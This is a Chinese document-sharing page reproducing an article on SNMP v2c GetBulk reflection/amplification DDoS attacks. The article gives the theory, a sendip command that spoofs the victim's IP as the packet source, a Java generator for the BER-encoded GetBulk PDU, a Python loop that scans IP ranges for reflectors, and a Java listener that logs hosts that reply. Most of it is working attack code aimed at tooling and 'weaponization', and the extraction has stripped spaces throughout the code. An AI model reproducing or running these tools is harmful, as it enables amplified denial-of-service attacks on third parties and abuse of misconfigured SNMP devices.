基于snmp的反射攻击的理论及其实现.docx
- 文档编号:10256157
- 上传时间:2023-05-24
- 格式:DOCX
- 页数:17
- 大小:22.13KB
基于snmp的反射攻击的理论及其实现.docx
《基于snmp的反射攻击的理论及其实现.docx》由会员分享,可在线阅读,更多相关《基于snmp的反射攻击的理论及其实现.docx(17页珍藏版)》请在冰点文库上搜索。
基于snmp的反射攻击的理论及其实现
基于snmp的反射攻击的理论及其实现
0x00前言
当时dns反射攻击爆发的时候,我就开始研究snmp的反射攻击(实际可以达到20倍的放大效果),在2013年夏天就已经理论研究完成,后来实现工具化。
最后还差规模化(武器化)。
其实,是国外在2013年初,就有只言片语叙述snmp的反射攻击,但是没有一篇完整的文章,最近在微博上看到很多朋友转载国外的信息,我觉得,如果再不把自己所研究的放出来刷刷存在感,让我这个rank9的人活不下去了。
0x01背景
罗嗦了这么多,进入正题。
首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。
第二,需要主机和缺陷主机之间有大小不对等的信息交换。
一般满足这两个条件就可以来实现反射攻击。
0x02理论
Snmp就不过多介绍了,大家可以XX。
Snmp有3个版本,这里攻击最理想的是2c版本,而恰恰2c版本也是应用最广的。
在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。
Snmpwalk–cpublic–v2cIPoid
这里oid是获取snmp具体信息内容的一个标识,snmp里面存的信息是一个树状的信息结构。
其实snmpwalk是获取一条oid信息,但是这个oid里面附带了下一个树节点的oid号,然后snmp会通过snmpget继续访问下一个oid号(在getnext字段里面),来执行一个类似于循环的行为,但是snmpget的协议大家也看到了,只能获取到一条信息,79的信息长度,只能获得279的反馈,这样实现攻击的放大倍数是不给力的。
关键点来了,根据rfc1441-rfc1452文档说明,snmp第二版里面引入了getbulk来取代反复getnext,用来更好的在单个请求里面获得大量的管理数据。
相对应的bt5下还有个snmpbulkget命令
snmpbulkget-v2c-Cn0-Cr70-cpublicIPoid
对应就是获取当前oid后面的70个团体字,这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息,而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包,如图。
这里看到数据包的length大家就会明白了,就是利用这种方式,来获得反射攻击的效果。
这里大家会有个疑问。
一个snmp里面会包含n多的信息(上千条肯定有了)为什么这里只用70条,用更多的会返回更多的信息,获得更大的倍数。
当然我也想,这么做,可是snmp这协议不想ntp协议直接给你把数据分包返回,而是通过一个包里的不同字段返回多个信息的,所以这里面就会受到网络链路上的mtu这个值的影响,1500这个硬伤是不能越过去的。
理论上已经实现了信息不对等的交互了,那么下面就是伪造源ip发udp包的环节了。
此处我用的是sendip这个工具,安装很简单http:
//www.earth.li/projectpurple/progs/sendip.html
下载源码之后直接在linux下编译安装,这其中可能会遇到编译问题,请参考这里
下面看下我用的命令
sendip-v-pipv4-issrc_IP-iddst_IP-pudp-us8000-ud161dst_IP-d0x123456789
这里是使用ipv4的协议发送udp包,src_IP源ip,dst_ip目的ip,-usudp源端口,-ududp目的端口,这里snmp默认端口是161,源端口自己随便填,最后部分是数据部分,其实可以直接输入明文的,但是snmp的pdu编码是非常蛋疼的,所以我使用了-d16进制的形式。
下面是效果,这个包就发到本地吧,这里的源地址就是ddos的反射攻击的被攻击者的地址。
这里看到了效果,为下一步工具化进行了铺垫
最后这个图是虚拟机环境搭的,实现反射攻击的整体图0x03工具化
首先要解决snmp数据包pdu部分的蛋疼的编码部分,snmp的数据部分是符合基本编码规则(ber)的这里有三篇文章,大家可以完全读懂ber编码和snmp的关系。
对于这个蛋疼的编码,我写了个java程序来生成pdu,里面有注释,大家很好理解的。
importjava.io.UnsupportedEncodingException;
publicclassSnmpPDUber{
publicstaticStringsumlen(Strings){
intc=0;
Stringr="";
Stringr2="";
s=qukongge(s);
s=s.replaceAll("","+");
r=s.replaceAll("\\+","");
//System.out.println(s);
c=r.length()/2;
r2=Integer.toHexString(c);//十进制转换成16进制返回
returnsubStr(r2);
}
publicstaticStringrandomtohex(inti)//产生i组16进制随机数
{
Strings="";
intk;
for(intj=0;j
k=(int)(1+Math.random()*(254-1+1));
s=s+Integer.toHexString(k)+"";
}
returns;
}
publicstaticStringsubStr(Strings)//(双位)0变成00
{
if(s.length()%2==1){
s="0"+s;
}
returns;
}
publicstaticStringqukongge(Strings){returns.replaceAll("","");}//去除空格
publicstaticStringtoHexString(Strings)
{
Stringstr="";
for(inti=0;i { intch=(int)s.charAt(i); Strings4=Integer.toHexString(ch); str=str+""+s4; } returnstr; } publicstaticvoidmain(Stringargs[]){ //tag+len+values Stringtag="30";//tag标识域SEQUENCE类型 Stringlen="00"; Stringvalues="";//values值域 Stringversiontag="02";//versiontag标识域INTEGER类型 Stringversionlen="01"; Stringversionvalues="01";//versionvalues001版本012c版本 StringCommunitytag="04";//Communitytag标识域string类型 StringCommunitylen="00";//Communitylen长度域 StringCommunityvalues=args[0];//Community值域public System.out.println(Communityvalues); Communityvalues=toHexString(Communityvalues); System.out.println(Communityvalues); Stringpdutag="a5";//pdutag标识域a5是getbulkrequest Stringpdulen="00";//pdulen长度域 Stringpduvalue="";//pdu值域 Stringrequestid_tag="02";//requestidtag标识域INTEGER类型 Stringrequestid_len="04";//requestidlen长度域 Stringrequestid_values="";//8位16进制随机ID Stringnon_repeaters_tag="02";//getbulk开始段标识域 Stringnon_repeaters_len="01"; Stringnon_repeaters_values="00";//16进制0 Stringmax_repeaters_tag="02";//getbulk循环段标识域 Stringmax_repeaters_len="01"; Stringmax_repeaters_values="64";//16进制100 StringVariable_tag="30"; StringVariable_len="00"; StringVariable_value=""; StringItem_tag="30"; StringItem_len="00"; StringItem_values=""; StringObject_tag="06"; StringObject_len="00"; StringObject_values="2b06010201";//1.3.6.1.2.1 Stringvalue_tag="05";//noerror标识域 Stringvalue_len="00"; /* tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+ non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]] */ Stringtmp=""; intj=0; tmp=value_tag+""+value_len; Object_len=sumlen(Object_values); Item_values=Object_tag+""+Object_len+""+Object_values+""+tmp; Item_len=sumlen(Item_values); Variable_value=Item_tag+""+Item_len+""+Item_values; Variable_len=sumlen(Variable_value); tmp=Variable_tag+""+Variable_len+""+Variable_value; requestid_values=randomtohex(4);//报文随机id后面自带空格,所以下面字符串拼接时候不需要带空格 pduvalue=requestid_tag+""+requestid_len+""+requestid_values+non_repeaters_tag+""+non_repeaters_len+""+non_repeaters_values+""+max_repeaters_tag+""+max_repeaters_len+""+max_repeaters_values+""+tmp; pdulen=sumlen(pduvalue); tmp=pdutag+""+pdulen+""+pduvalue; Communitylen=sumlen(Communityvalues); values=versiontag+""+versionlen+""+versionvalues+""+Communitytag+""+Communitylen+""+Communityvalues+""+tmp; len=sumlen(values); tmp=tag+""+len+""+values; System.out.println(tmp); System.out.println("0x"+qukongge(tmp)); /*sendip-v-pipv4-is192.168.1.101-id192.168.1.102-pudp-us8000-ud161192.168.1.102-d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/ } } 注意: getbulk的循环字段就是对应snmpbulkget里面的–Cr标识位。 第二为了有一定数量的能进行反射的主机,需要一个给力的扫描器,这里会有人想到用zmap来扫描,但是要知道,udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的,实测有很多udp程序只要你发的数据不符合他接收的格式时,他是无任何反应和回复的,就和这个ip没开相关端口是一样的效果,snmp也是符合这种情况的,所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包,来期盼正常的返回,来证明这个ip是否可以用来反射攻击。 不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块,这个模块我用过,不是太给力。 下面是我用python写的一个循环调用sendip发包的程序,来扫描ip段的,里面的pdu是用刚才java编码程序生成出来的。 发出的包用一个自写的java程序监听端口,如果有返回信息,就把返回的ip地址输出到文件。 python3.4版本的 importos importtime frompip.backwardcompatimportraw_input __author__='qwe' classipScan(object): def__init__(self,begin,end): self.begin=begin self.end=end deftraverseIP(self): begin_ip=[] end_ip=[] begin=self.begin.split(".") end=self.end.split(".") #print(begin,end) forminbegin: begin_ip.append(int(m)) forninend: end_ip.append(int(n)) a1=begin_ip[1] b1=end_ip[1] a2=begin_ip[2] b2=end_ip[2] a3=begin_ip[3] b3=end_ip[3] print(a1,b1,a2,b2,a3,b3) foroinrange(a1,b1+1): p=1 q=1 if(o==a1): p=a2 else: p=1 if(o==b1): q=b2 else: q=254 forminrange(a2,b2+1): i=1 j=1 if(m==a2): i=a3 else: i=1 if(m==b2): j=b3 else: j=254 forninrange(i,j+1): ipstr=(str(begin_ip[0])+"."+str(o)+"."+str(m)+"."+str(n)) sendip='sendip-pipv4-is192.168.0.108-id'+ipstr+'-pudp-us8450-ud161'+ipstr+'-d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500' print(sendip) os.system(sendip) time.sleep(0.1) begin=raw_input("enterbeginipaddr: ") end=raw_input("enterendipaddr: ") #print(begin,end) a=ipScan(begin,end) a.traverseIP() java监听程序 /** *CreatedwithIntelliJIDEA. *User: Clevo *Date: 14-3-11 *Time: 下午10: 09 *TochangethistemplateuseFile|Settings|FileTemplates. */ importorg.bouncycastle.asn1.ASN1InputStream; importorg.bouncycastle.asn1.ASN1Primitive; importorg.bouncycastle.asn1.util.ASN1Dump; importjava.io.ByteArrayInputStream; importjava.io.FileWriter; importjava.io.IOException; import.*; publicclassudpListen{ publicstaticvoidmain(String[]args){ printReceiveInfomationFromPort(8000); } staticvoidprintReceiveInfomationFromPort(intport){ newThread(newMonitorPortRunnable(port)).start(); } } classMonitorPortRunnableimplementsRunnable{ bytebuf[]=newbyte[1024]; DatagramSocketds=null; DatagramPacketdp=null; intlocalReceivePort; publicMonitorPortRunnable(intlocalReceivePort){ this.localReceivePort=localReceivePort; } publicstaticvoidwritefile2(StringfileName,Stringcontent){ try{ //打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件 FileWriterwriter=newFileWriter(fileName,true); writer.write(content); writer.close(); }catch(IOExceptione){ e.printStackTrace(); } } publicvoidrun(){ dp=newDatagramPacket(buf,0,1024); try{ ds=newDatagramSocket(localReceivePort); }catch(SocketExceptione1){ //prompt("本地接收端口已被使用"); System.exit(0); } while(true){ try{ ds.receive(dp); //System.out.println("信息来自: "+this.localReceivePort); }catch(IOExceptione){ ds.close(); e.printStackTrace(); } byte[]c=dp.getData(); intc_len=dp.getLength(); StringreceiveMessage=newString(c,0,c_len); StringreceiveAddr=newString(dp.getAddress().toString()); //System.out.println(receiveMessage);//暂时打印到控制台,一般输出到文件 System.out.println(receiveAddr); writefile2("result.txt",receiveAddr+"\r\n"); } } }最后还有一个java写的结果过滤,其实就是一个snmp的信息获取程序,来筛选可利用的主机或者设备,大家可以增加更多的功能,例如看出口的速度等。 importjava.io.*; importjava.util.Vector; importorg.snmp4j.CommunityTarget; importorg.snmp4j.PDU; importorg.snmp4j.Snmp; importorg.snmp4j.event.ResponseEvent; importorg.snmp4j.mp.SnmpConstants; importorg.snmp4j.smi.OID; importorg.snmp4j.smi.OctetString; importor
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 基于 snmp 反射 攻击 理论 及其 实现